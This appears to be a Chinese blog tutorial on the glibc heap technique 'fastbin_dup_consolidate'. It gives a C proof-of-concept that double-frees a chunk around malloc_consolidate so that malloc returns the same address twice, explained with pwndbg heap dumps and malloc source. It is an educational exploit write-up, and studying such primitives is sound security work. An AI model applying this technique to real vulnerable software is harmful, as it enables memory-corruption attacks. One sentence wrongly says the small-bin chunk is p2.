fastbin_dup_consolidate

0x01 Double free绕过机制

1
2
3
4
我们上一条 0x02 介绍了一个 fast double free 的绕过机制,通过在free 同一个 chunk中的中间插入对另外一个chunk 的free。
free(p1);
free(p2);
free(p1);

0x02 源代码

结合堆入坑指南看更好理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);

void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

0x03 代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
 编译后 gdb运行
首先是两个malloc
![](https://xzfile.aliyuncs.com/media/upload/picture/20180816002014-1718ab98-a0a7-1.png)
Pwndbg> heap
Top Chunk: 0x6020a0
Last Remainder: 0

0x602000 FASTBIN {
prev_size = 0x0, ###只有在前面一个堆块是空闲的时候才有值,用来只是前一个堆块的大小。前面一个堆块在使用时他的值始终为0
size = 0x51, ### 用来指示当前堆块的大小的(头部加上user data的大小)
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x20f61,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

然后释放 p1,将它加入到 astbins中 ###堆入坑指南有详细介绍
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

当我们在中插入 malloc(0x400) 创建一个 large bins的时候
large bins
chunk 的指针数组, 每个元素是一条 双向循环链表的头部, 但同一条链表中块的大小不一 定相同, 按照从大到小的顺序排列, 每个 bin 保存一定 大小范围的块。主要保存大小 1024 字节以上的块。

Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Pwndbg> small bins
No symbol "bins" in current context.
smallbins
0x20: 0x7ffff7dd1b68 (main_arena+104) ◂— 0x7ffff7dd1b68
0x30: 0x7ffff7dd1b78 (main_arena+120) ◂— 0x7ffff7dd1b78
0x40: 0x7ffff7dd1b88 (main_arena+136) ◂— 0x7ffff7dd1b88
0x50: 0x602000 —▸ 0x7ffff7dd1b98 (main_arena+152) ◂— 0x602000

我们会发现 原本在 fastbins 的 chunk p1 跑到了 small bins 里。而且 chunk p2 的prev_size 和size字段都被修改了

Pwndbg> heap
Top Chunk: 0x6024b0
Last Remainder: 0

0x602000 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x7ffff7dd1b98 <main_arena+152>,
bk = 0x7ffff7dd1b98 <main_arena+152>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 {
prev_size = 0x50, ### 说明前一块是空闲的
size = 0x50,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x411,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6024b0 PREV_INUSE {
prev_size = 0x0,
size = 0x20b51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

我们可以看看 large bin的分配
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}

当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index,接着判断当前分配区的 fast bins 中是否包含 chunk,如果有,调用 malloc_consolidate() 函数合并 fast bins 中的 chunk,并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。这个时候我们就可以再次释放 p1

Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Pwndbg> smallbins
smallbins
0x20: 0x7ffff7dd1b68 (main_arena+104) ◂— 0x7ffff7dd1b68
0x30: 0x7ffff7dd1b78 (main_arena+120) ◂— 0x7ffff7dd1b78
0x40: 0x7ffff7dd1b88 (main_arena+136) ◂— 0x7ffff7dd1b88
0x50: 0x602000 ◂— 0x0

这个时候,我们既有fastbins中的 chunk p1 也有small bins 的chunk p2。我们可以malloc两次,第一次从fastbins取出,第二次从small bins中取出。且这两块新 chunk 处于同一个位置。

运行结果

1
2
3
4
5
6
7
Allocated two fastbins: p1=0x220a010 p2=0x220a060
Now free p1!
Allocated large bin to trigger malloc_consolidate(): p3=0x220a0b0
In malloc_consolidate(), p1 is moved to the unsorted bin.
Trigger the double free vulnerability!
We can pass the check in malloc() since p1 is not fast top.
Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x220a010 0x220a010
0%